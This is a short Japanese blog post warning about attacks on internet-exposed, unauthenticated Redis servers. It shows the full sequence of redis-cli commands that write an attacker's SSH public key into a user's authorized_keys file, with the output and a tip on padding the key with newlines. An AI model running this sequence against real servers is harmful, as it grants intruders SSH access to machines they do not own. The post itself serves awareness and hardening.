Redisで任意のファイルをアップロードする攻撃

年末年始からRedisを狙った攻撃が増加しているようです.

要約すると外部から任意のファイルをアップロードができるため, authorized_keysなどに攻撃者の公開鍵が作成されてしまいます.

攻撃の例を以下に示します.
redis-serverがuserというユーザーの権限で動いているとします.
まず, userのauthorized_keysには何も含まれていません.

user@66ac36057198:~/.ssh$ cat authorized_keys

まず, 攻撃者は既に格納されているキーとバリューをクリアします.
その後, 自身の公開鍵を適当なキー(ここではpwnというキー)で保存します.
そしてデータを書き出すディレクトリ(/home/user/.ssh/)を設定し, ファイル名をauthorized_keysとします.
最後にデータを書き出します. [1]

$ redis-cli -h 172.17.0.2 flushall
$ cat id_rsa.pub| redis-cli -h 172.17.0.2 -x set pwn
$ redis-cli -h 172.17.0.2
172.17.0.2:6379> config set dir "/home/user/.ssh"
OK
172.17.0.2:6379> config get dir
1) "dir"
2) "/home/user/.ssh"
172.17.0.2:6379> config set dbfilename "authorized_keys"
OK
172.17.0.2:6379> save
OK

これでuserのauthorized_keysには攻撃者の公開鍵が追加され, SSHでのログインを許してしまうことになります.

user@66ac36057198:~/.ssh$ cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUgAzqX0... mrtc0@localhost

もちろん, redis-serverを動かしているユーザーが書き込める権限がなければいけませんが.

インターネットに公開した状態で認証をかけず, 適切な権限で動かしていないと大変なことになりますので注意が必要です.

参考文献

[1]: 実際はゴミデータも含まれるため (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) のようにして改行を挟む必要がある.